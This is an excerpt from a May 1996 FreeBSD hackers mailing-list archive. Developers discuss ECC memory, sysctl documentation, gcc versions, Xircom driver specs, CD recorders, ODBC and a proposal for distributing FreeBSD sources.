-1000 Date: Thu, 16 May 1996 15:51:28 -1000 From: richard@pegasus.com (Richard Foulk) Message-Id: <199605170151.PAA20303@pegasus.com> In-Reply-To: "Rodney W. Grimes" "Re: Triton chipset with 256k cache caches 32M only?" (May 15, 10:04am) X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: "Rodney W. Grimes" , jgreco@brasil.moneng.mei.com (Joe Greco) Subject: Re: Triton chipset with 256k cache caches 32M only? Cc: hackers@freebsd.org, hardware@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk } > > >> No, it uses the parity bits. Only 8 syndrome bits are needed } > > >> for 64bit words. } > > > } > > > Hmm. So does that mean the ECC is limited to single (odd } > > >number of) bit errors? } > > } > > ECC has single bit error correction and 2 bit error detection. Better than } > > parity no matter how you slice it. } } Only if you have memory that is failing or you need extreamly reliable } operation (good memory should have a single bit error rate of something } like 1 in 10 years). This is all subject to personal judgement. How a 15% performance hit compares with the possibility of lost or bad data should not be trivialized. One error in ten years may not seem like much, but it could still cost lots of time and money. And it's just as likely to happen today as in ten years. Besides, parity protection doesn't prevent memory-error crashes, ECC does. Having no protection is scarey (Triton-I). Parity memory is a great improvement. ECC is better yet. Richard From owner-freebsd-hackers Thu May 16 19:10:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA28523 for hackers-outgoing; Thu, 16 May 1996 19:10:15 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA28419; Thu, 16 May 1996 19:09:27 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id DAA09696; Fri, 17 May 1996 03:08:56 +0100 (BST) To: doc@FreeBSD.ORG CC: hackers@FreeBSD.ORG From: "Gary Palmer" Subject: sysctl parameters Date: Fri, 17 May 1996 03:08:54 +0100 Message-ID: <9694.832298934@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [CC: hackers as although this is a doc issue, I think some people on hackers could help ... ] You know, it would be good if someone (or a group) could document what all the different sysctl parameters do. I'm particularly mystified by what some of the net.* parameters do and would love an explanation which doesn't involve trying to unravel several hundred K of source code. If someone would care to explain them to me (or have an e-mail convo with me explaining the terms I don't understand) I would be willing to try and write a handbook section on it, but as it stands, I'd be lucky to correctly document half of the sysctl parameters. Thanks Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD - Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info. From owner-freebsd-hackers Thu May 16 19:15:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA28967 for hackers-outgoing; Thu, 16 May 1996 19:15:27 -0700 (PDT) Received: from hq.icb.chel.su (icb-rich-gw.icb.chel.su [193.125.10.34]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA28951; Thu, 16 May 1996 19:15:05 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.7.5/8.6.5) id IAA04026; Fri, 17 May 1996 08:14:17 +0600 (GMT+0600) From: "Serge A. Babkin" Message-Id: <199605170214.IAA04026@hq.icb.chel.su> Subject: Re: EDO & Memory latency To: terry@lambert.org (Terry Lambert) Date: Fri, 17 May 1996 08:14:17 +0600 (ESD) Cc: dyson@FreeBSD.org, hackers@FreeBSD.org In-Reply-To: <199605161715.KAA17388@phaeton.artisoft.com> from "Terry Lambert" at May 16, 96 10:15:24 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > The processor's internal conveyer size is at most 5 (?) > > steps, for 13ns cycle this give 65ns for the maximal processor overhead. > > The memory refresh can add about 15% of overhead, 60ns*0.15=9ns. In sum we > > get 80+40+65+9=~=295ns. But the remaining 200ns are a real mystery for me. > > Yeah, that's my ~280 number. (ugh. I just relaized I labelled the > units in my last post as uS). 400 - 295 = 105, so there's about half > of your mystery for you. 8-). Nope :-) These 400 were (500-80) rounded to 100. -SB From owner-freebsd-hackers Thu May 16 20:02:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA02752 for hackers-outgoing; Thu, 16 May 1996 20:02:16 -0700 (PDT) Received: from xs1.simplex.nl (xs1.simplex.NL [193.78.46.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA02741 for ; Thu, 16 May 1996 20:02:13 -0700 (PDT) X-Organisation-1: Simplex Networking Amsterdam X (Inter)Network X-Organisation-2: Kruislaan 419-38a 1098 VA Amsterdam X Solutions & X-Organisation-3: tel:+31(20)-6932433 fax:+31(20)-6685486 X Access Provider Received: (from uucp@localhost) by xs1.simplex.nl (8.7.5/8.7.3-RS) with UUCP id FAA21354 for freebsd-hackers@freebsd.org; Fri, 17 May 1996 05:02:15 +0200 (MET DST) Received: (from plm@localhost) by plm.simplex.nl (8.7.5/8.7.3) id AAA01312; Fri, 17 May 1996 00:14:31 +0200 (MET DST) To: freebsd-hackers@freebsd.org Subject: Re: internal compiler error References: <87ohnoclwp.fsf@totally-fudged-out-message-id> From: Peter Mutsaers Date: 17 May 1996 00:14:30 +0200 In-Reply-To: Nate Williams's message of Thu, 16 May 1996 08:30:03 -0600 Message-ID: <87loisb709.fsf@plm.simplex.nl> Lines: 20 X-Mailer: September Gnus v0.85/Emacs 19.30 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> On Thu, 16 May 1996 08:30:03 -0600, Nate Williams >> said: >> causes an internal compiler error running gcc 2.7.2 on FreeBSD 2.2-stable. NW> Hmm, it works fine under -stable with 2.6.3. NW> #cheap shot on# NW> This is one of the reasons why we stick w/older versions of GCC. :) NW> #cheap shot off# But the newer versions are quite a bit faster. I used to use Linux until recently and it uses 2.7.2 for everything, so it must be possible for FreeBSD too. It is a pity to ignore such easy performance gain. -- ______________________________________________________________________ Peter Mutsaers | Abcoude (Utrecht), | "Quod licet bovis, plm@simplex.nl | the Netherlands | non licet Jovi." From owner-freebsd-hackers Thu May 16 20:31:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA05144 for hackers-outgoing; Thu, 16 May 1996 20:31:42 -0700 (PDT) Received: from hq.icb.chel.su (icb-rich-gw.icb.chel.su [193.125.10.34]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA05133 for ; Thu, 16 May 1996 20:31:32 -0700 (PDT) Received: (babkin@localhost) by hq.icb.chel.su (8.7.5/8.6.5) id JAA05519; Fri, 17 May 1996 09:10:13 +0600 (GMT+0600) From: "Serge A. Babkin" Message-Id: <199605170310.JAA05519@hq.icb.chel.su> Subject: Re: xircom hardware specs To: nate@sri.MT.net (Nate Williams) Date: Fri, 17 May 1996 09:10:13 +0600 (ESD) Cc: kevin@NDA.COM, freebsd-hackers@freebsd.org In-Reply-To: <199605170031.SAA25091@rocky.sri.MT.net> from "Nate Williams" at May 16, 96 06:31:45 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > i'm using an nec versa 2200c laptop with a xircom ethernet+modem > > pcmcia card. no drivers available. > > Nope, because Xircom won't release the specs. w/out an NDA. > > > i sent email to xircom customer support and was informed that they > > would release the specs to interested developers. is anyone pursuing > > this? > > Nope, because signing an NDA means the source can't be distributed if a > driver is written. > > > ps next and solaris x86 provide xircom drivers, not sure if freebsd > > is kernel compat with them (probably not...) > > Nope, and NeXTStep and Solaris don't provide OS source, so signing an > NDA is not a problem. But it's possible to take say BSDI driver, disassemble it and make the specs publically available. -SB From owner-freebsd-hackers Thu May 16 20:31:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA05163 for hackers-outgoing; Thu, 16 May 1996 20:31:48 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA05143 for ; Thu, 16 May 1996 20:31:39 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id NAA09213; Fri, 17 May 1996 13:10:02 +0930 From: Michael Smith Message-Id: <199605170340.NAA09213@genesis.atrad.adelaide.edu.au> Subject: Re: can't mount "gold" CDs written by Yamaha recorder To: mark@linus.demon.co.uk (Mark Valentine) Date: Fri, 17 May 1996 13:10:00 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG, mark@cova-tech.com In-Reply-To: <199605170054.BAA04817@linus.demon.co.uk> from "Mark Valentine" at May 17, 96 01:54:40 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Mark Valentine stands accused of saying: > > Anyone able to read gold CDs written by the Yamaha recorder under any > version of FreeBSD? I'm not sure if it may just be CDs written by the > particular software I'm using ("KPAR CDcreation" under SunOS 5.5) - it's > all I have available to try. (I get the same problem with the software > vendor's distribution CD, but I think that was written with their own > software on another Yamaha recorder.) I think it's the software - at least I _seem_ to recall someone saying they'd made a burn using that unit. Then again I could be confusing those that were successful with those that have been asking. > I can read these CDs on all my SunOS 5.5 systems (Toshiba and Plextor > drives), and from DOS and Windoze 95 (random IDE drives), but under > FreeBSD I get either an EINVAL on the mount (my -current box with a > Toshiba SCSI drive, which can also read the CD under DOS, though it > flashes its LED as if it were playing back an audio CD), or a > successful mount followed by a system hang trying to do anything > else, like an unmount - actually, some interrupts are still being > processed (FreeBSD 2.1, both with random SCSI drive or with the > same Plextor which read the CD fine under SunOS 5.5). Yecch. Sounds like they skimped on the format. > By the way, are all the 00_TRANS.TBL files on the FreeBSD CDs just a > convenience for systems which can't read RR? My software didn't put > them on my CD, and doesn't seem have an option to do so (I presume they're > generated separately). IIRC, these files contain the short-long filename mapping info. The fact that they're not there would tend to indicate that the software you're using is seriously busted. > Any evidence for punting my recorder software/hardware back to the vendor > and buying an HP4020i like I wanted in the first place will be gratefully > received too! Well, try doing some serious thrashing on the Sun while you're cutting the CD and see if the buffer in the Yamaha runs out; I seem to remember it's only about 500K... > Mark. -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu May 16 21:00:32 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA07352 for hackers-outgoing; Thu, 16 May 1996 21:00:32 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA07337 for ; Thu, 16 May 1996 21:00:27 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Thu, 16 May 1996 23:00:03 -0600 Message-ID: Date: 16 May 1996 22:59:43 -0500 From: "Richard Wackerbarth" Subject: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: "FreeBSD Current" , "FreeBSD Hackers" , "freebsd-stable@freebsd.org" , "Nate Williams" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Not true. If you have direct access to freefall (developers only), you can use (4-sup) to get "up to the minute" copies of the CVS tree. If YOU can get "up to the minute" updates via sup, it is only because you fall in my category (1). My proposal does not affect a sup server that does not provide synchronous snapshots. > > The Proposal. > > Since all the reasonable distribution mechanisms are based upon server initiated snapshots > > Since your assumptions are invalid for one of the two most common > distribution method, the rest of the proposal is not completely valid. Since those who have the direct access are not really inhibited by this proposal, I suggest that you reconsider it in view of the other 99.99% of the folks for whom my assumptions apply. I hope there is somebody out there who cares about the difficulties of the "average joe" and doesn't simply brush off those problems because they are a member of the elite class who get to play by their own rules. -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Thu May 16 21:01:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA07441 for hackers-outgoing; Thu, 16 May 1996 21:01:24 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA07434; Thu, 16 May 1996 21:01:16 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id UAA18769; Thu, 16 May 1996 20:58:30 -0700 From: Terry Lambert Message-Id: <199605170358.UAA18769@phaeton.artisoft.com> Subject: Re: A MMAP observation To: gpalmer@FreeBSD.org (Gary Palmer) Date: Thu, 16 May 1996 20:58:30 -0700 (MST) Cc: mrcpu@cdsnet.net, hackers@FreeBSD.org In-Reply-To: <9269.832294686@palmer.demon.co.uk> from "Gary Palmer" at May 17, 96 01:58:06 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Of course, if somebody would make ODBC clients for FreeBSD so I could let > > it talk to my NT SQL server, then I wouldn't have to mess with this at > > all. :) > > I think ``ODBC'' is another mis-nomer from the halls of Microsoft. I > don't know anything ``open'' about it. I've certainly never seen any > published (and freely available) specs for it (Of course, I will no > doubt be corrected by Terry if I'm wrong :-) ). I'm willing to bet > that you have to pay Microsoft to get the interface specs. I saw a posting of a UNIX ODBC on comp.sources.unix about 8 months ago (+/- 2 months). I didn't grab it because I found the idea singularly uninteresting compared to SQL. I thought it was server-only code. It might have been client-only code. Like I said -- uninteresting. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 21:12:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA08063 for hackers-outgoing; Thu, 16 May 1996 21:12:09 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA08058 for ; Thu, 16 May 1996 21:12:06 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id VAA17058 for ; Thu, 16 May 1996 21:12:04 -0700 Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id WAA25691; Thu, 16 May 1996 22:09:09 -0600 Date: Thu, 16 May 1996 22:09:09 -0600 From: Nate Williams Message-Id: <199605170409.WAA25691@rocky.sri.MT.net> To: Terry Lambert Cc: nate@sri.MT.net (Nate Williams), kevin@NDA.COM, freebsd-hackers@FreeBSD.org Subject: Re: xircom hardware specs In-Reply-To: <199605170132.SAA18419@phaeton.artisoft.com> References: <199605170031.SAA25091@rocky.sri.MT.net> <199605170132.SAA18419@phaeton.artisoft.com> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > i'm using an nec versa 2200c laptop with a xircom ethernet+modem > > > pcmcia card. no drivers available. > > > > Nope, because Xircom won't release the specs. w/out an NDA. > > > > > i sent email to xircom customer support and was informed that they > > > would release the specs to interested developers. is anyone pursuing > > > this? > > > > Nope, because signing an NDA means the source can't be distributed if a > > driver is written. > > Actually, the PCMCIA Xircom cards work with the PCMCIA support code, > according to the last posting to comp.unix.bsd.freebsd.misc. I thought it was you that posted it, but obviously not. And, that posting is *wrong*. (Actually, the Xircom modem works with some hacks that were removed due to Xircom's policies.) Hosokawa doesn't even want to support Xircom given the plethora of 'decent' companies out there. Nate From owner-freebsd-hackers Thu May 16 21:19:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA08879 for hackers-outgoing; Thu, 16 May 1996 21:19:50 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA08873 for ; Thu, 16 May 1996 21:19:47 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id WAA25739; Thu, 16 May 1996 22:19:37 -0600 Date: Thu, 16 May 1996 22:19:37 -0600 From: Nate Williams Message-Id: <199605170419.WAA25739@rocky.sri.MT.net> To: "Richard Wackerbarth" Cc: "FreeBSD Hackers" , "Nate Williams" Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: References: Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk [ Cut down the mailing list to one ] > > Not true. If you have direct access to freefall (developers only), you can > use (4-sup) to get "up to the minute" copies of the CVS tree. > > If YOU can get "up to the minute" updates via sup, it is only because > you fall in my category (1). My proposal does not affect a sup server > that does not provide synchronous snapshots. Couldn't SUP servers provide asynchronous shapshots? > > > The Proposal. > > > Since all the reasonable distribution mechanisms are based upon server > initiated snapshots > > > > Since your assumptions are invalid for one of the two most common > > distribution method, the rest of the proposal is not completely valid. > > Since those who have the direct access are not really inhibited by this > proposal, I suggest that you reconsider it in view of the other 99.99% of the > folks for whom my assumptions apply. > > I hope there is somebody out there who cares about the difficulties of the > "average joe" and doesn't simply brush off those problems because they are a > member of the elite class who get to play by their own rules. Cheap shot. I'm not 'elite' class, but what I hear you arguing for is something that the 'members of the elite class' get to implement, which means more work. Since the current system already works and doesn't require any more work for me, I'm bane to consider anything that makes my life more difficult. I also don't consider the current system a problem. Thousands of folks are able to get the sources today, and I actually think that the current scheme tends to make sure that folks who get the newest sources have the ability to deal with them, vs. giving them to the 'masses' when they aren't in a state that they can handle. Both -current and -stable are moving targets, and should only be used by more competent people. If you aren't competent enough to figure out SUP and/or CTM as it is currently, use the SNAPS or wait for the CD. Nate From owner-freebsd-hackers Thu May 16 21:22:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA09171 for hackers-outgoing; Thu, 16 May 1996 21:22:20 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA09138; Thu, 16 May 1996 21:22:07 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id WAA06771; Thu, 16 May 1996 22:21:34 -0600 (MDT) Message-Id: <199605170421.WAA06771@rover.village.org> To: Nate Williams Subject: Re: Standard Shipping Containers - A Proposal for Distributing FreeBSD Cc: "Richard Wackerbarth" , "FreeBSD Hackers" , "FreeBSD Current" , "freebsd-stable@freebsd.org" In-reply-to: Your message of Thu, 16 May 1996 18:40:46 MDT Date: Thu, 16 May 1996 22:21:33 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > The Distribution: > There are seven distribution channels upon which I will comment. > 1) Direct access to the master tree. This really applies only > to the cvs tree and is "the only way to go" for commiters > who are well connected. > 2) Using "mirror". > 3) Using "mirror" with directory listing cached on the server. > 4) Using "sup". > 5) Using "ctm". > 6) Using distribution tarballs. > 7) Using the "live file system" from CD. > > Characteristics of the Distribution Mechanisms. > a) Only (1) and (2) provide "up to the minute" copies. Err, ummm, ctm provides me with up to the last four hour update copies of the development tree. And I have my email setup to automatically apply it, so it is no muss, no fuss. Easily more up to date that sup ever was for me. I resisted for a long time going to ctm because I thought it wouldn't give me the access that sup gave me. It has worked 1000% better than sup ever did for me. This is usually sufficient because relatively little changes in any given four hour period. Warner From owner-freebsd-hackers Thu May 16 21:23:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA09261 for hackers-outgoing; Thu, 16 May 1996 21:23:18 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA09253 for ; Thu, 16 May 1996 21:23:15 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id WAA25749; Thu, 16 May 1996 22:20:58 -0600 Date: Thu, 16 May 1996 22:20:58 -0600 From: Nate Williams Message-Id: <199605170420.WAA25749@rocky.sri.MT.net> To: "Serge A. Babkin" Cc: nate@sri.MT.net (Nate Williams), kevin@NDA.COM, freebsd-hackers@freebsd.org Subject: Re: xircom hardware specs In-Reply-To: <199605170310.JAA05519@hq.icb.chel.su> References: <199605170031.SAA25091@rocky.sri.MT.net> <199605170310.JAA05519@hq.icb.chel.su> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Serge A. Babkin writes: > > > i sent email to xircom customer support and was informed that they > > > would release the specs to interested developers. is anyone pursuing > > > this? > > > > Nope, because signing an NDA means the source can't be distributed if a > > driver is written. > > > > > ps next and solaris x86 provide xircom drivers, not sure if freebsd > > > is kernel compat with them (probably not...) > > > > Nope, and NeXTStep and Solaris don't provide OS source, so signing an > > NDA is not a problem. > > But it's possible to take say BSDI driver, disassemble it and make the specs > publically available. If you think writing a driver is worth taking the time to disassemble it, more power to you. There are *plenty* of other boards that provide almost the exact same functionality that are made by manufacturers that will provide programming specifications. Nate From owner-freebsd-hackers Thu May 16 21:29:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA09594 for hackers-outgoing; Thu, 16 May 1996 21:29:08 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA09587; Thu, 16 May 1996 21:29:05 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id WAA25804; Thu, 16 May 1996 22:29:04 -0600 Date: Thu, 16 May 1996 22:29:04 -0600 From: Nate Williams Message-Id: <199605170429.WAA25804@rocky.sri.MT.net> To: "Gary Palmer" Cc: Jaye Mathisen , hackers@FreeBSD.ORG Subject: Re: A MMAP observation In-Reply-To: <9269.832294686@palmer.demon.co.uk> References: <9269.832294686@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Of course, if somebody would make ODBC clients for FreeBSD so I could let > > it talk to my NT SQL server, then I wouldn't have to mess with this at > > all. :) > > I think ``ODBC'' is another mis-nomer from the halls of Microsoft. Actually, no. In this case you're absolutely off the mark. ODBC actually is an open standard that is not at all M$ specific. All of the major DB vendors now support it, and there are now products on the market that allow you to transfer data from one propriatary DB to another. Remember that none of the big DB's ran on M$ OS until NT, as almost *all* Fortune-500 companies used Big-Iron mainframes for their databases. Nate ps. ODBC is a super-set of SQL, which all of the databases speak. From owner-freebsd-hackers Thu May 16 21:31:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA09763 for hackers-outgoing; Thu, 16 May 1996 21:31:37 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA09757 for ; Thu, 16 May 1996 21:31:35 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id WAA25807; Thu, 16 May 1996 22:31:29 -0600 Date: Thu, 16 May 1996 22:31:29 -0600 From: Nate Williams Message-Id: <199605170431.WAA25807@rocky.sri.MT.net> To: Peter Mutsaers Cc: freebsd-hackers@FreeBSD.org Subject: Re: internal compiler error In-Reply-To: <87loisb709.fsf@plm.simplex.nl> References: <87ohnoclwp.fsf@totally-fudged-out-message-id> <87loisb709.fsf@plm.simplex.nl> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > >> causes an internal compiler error running gcc 2.7.2 on FreeBSD 2.2-stable. > > NW> Hmm, it works fine under -stable with 2.6.3. > > NW> #cheap shot on# > NW> This is one of the reasons why we stick w/older versions of GCC. :) > NW> #cheap shot off# > > But the newer versions are quite a bit faster. Huh? I don't think so, as a matter of fact in same cases they are slower, due to more memory use required for those with smaller memory systems. And, you certainly can't mean that the optimized code is faster, because in some cases although it's faster it's wrong (ie; buggy). Just because Linux uses 2.7.2 doesn't mean it doesn't have bugs in it. (Far from it.) Nate From owner-freebsd-hackers Thu May 16 21:42:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA10428 for hackers-outgoing; Thu, 16 May 1996 21:42:27 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA10423 for ; Thu, 16 May 1996 21:42:24 -0700 (PDT) Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Thu, 16 May 1996 23:42:07 -0600 Message-ID: Date: 16 May 1996 23:41:55 -0500 From: "Richard Wackerbarth" Subject: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: "Warner Losh" Cc: "FreeBSD Hackers" , "Nate Williams" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Warner Losh writes: > Err, ummm, ctm provides me with up to the last four hour update copies of the development tree. And I have my email setup to automatically apply it, so it is no muss, no fuss. Easily more up to date that sup ever was > This is usually sufficient because relatively little changes in any given four hour period. Thanks for the testimonial. My point is that, except for a few committers who must have the absolutely current image (which they usually get by being logged into the master machine), almost everyone can do just fine with occasional updates. Depending on the particular tree, the frequency might be every few hours, or once a day. In any case, those updates are "snapshots" taken by an automatic camera. Except for the few who have direct access, the sup server does the same thing. It runs a scan periodically. All that I am suggesting here is that we set things up so that the snapshots are the same. And that we add the information that would allow a user to "mix and match". -- ...computers in the future may have only 1,000 vacuum tubes and weigh only 1/2 tons. -- Popular Mechanics, March 1949 From owner-freebsd-hackers Thu May 16 21:49:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA10730 for hackers-outgoing; Thu, 16 May 1996 21:49:34 -0700 (PDT) Received: from ceres.brunel.ac.uk (pp@ceres.brunel.ac.uk [134.83.176.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA10725 for ; Thu, 16 May 1996 21:49:32 -0700 (PDT) Received: from palmer.demon.co.uk by ceres.brunel.ac.uk with SMTP (PP); Fri, 17 May 1996 05:49:22 +0100 Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id FAA10295; Fri, 17 May 1996 05:43:27 +0100 (BST) To: "Serge A. Babkin" cc: nate@sri.MT.net (Nate Williams), kevin@NDA.COM, freebsd-hackers@FreeBSD.ORG From: Gary Palmer Subject: Re: xircom hardware specs In-reply-to: Your message of "Fri, 17 May 1996 09:10:13 +0600." <199605170310.JAA05519@hq.icb.chel.su> Date: Fri, 17 May 1996 05:43:26 +0100 Message-ID: <10293.832308206@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "Serge A. Babkin" wrote in message ID <199605170310.JAA05519@hq.icb.chel.su>: > But it's possible to take say BSDI driver, disassemble it and make the specs > publically available. Reverse engineering isn't legal everywhere :-) Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD - Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info. From owner-freebsd-hackers Thu May 16 22:10:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA12547 for hackers-outgoing; Thu, 16 May 1996 22:10:41 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id WAA12542 for ; Thu, 16 May 1996 22:10:39 -0700 (PDT) Received: from DATAPLEX.NET (SHARK.DATAPLEX.NET [199.183.109.241]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id WAA17299 for ; Thu, 16 May 1996 22:10:37 -0700 Received: from 199.183.109.242 by DATAPLEX.NET with SMTP (MailShare 1.0fc5); Fri, 17 May 1996 00:06:27 -0600 Message-ID: Date: 17 May 1996 00:06:16 -0500 From: "Richard Wackerbarth" Subject: Re(2): Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: "Nate Williams" Cc: "FreeBSD Hackers" X-Mailer: Mail*Link PT/Internet 1.6.0 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Nate responds: > > > Not true. If you have direct access to freefall (developers only), you can use (4-sup) to get "up to the minute" copies of the CVS tree. > > > > If YOU can get "up to the minute" updates via sup, it is only because you fall in my category (1). My proposal does not affect a sup server that does not provide synchronous snapshots. > > Couldn't SUP servers provide asynchronous shapshots? No. That would place an enormous burden on the machines and the network just trying to keep them in sync. Besides, it doesn't really buy you much, if anything. I feel that the present methodology of providing the updates every 4,6,12, or 24 hours depending on the rate at which things change is fine. I am not proposing to change that. > > > > The Proposal. > > > > Since all the reasonable distribution mechanisms are based upon server initiated snapshots > > > > > > Since your assumptions are invalid for one of the two most common > > > distribution method, the rest of the proposal is not completely valid. > > Since those who have the direct access are not really inhibited by this proposal, I suggest that you reconsider it in view of the other 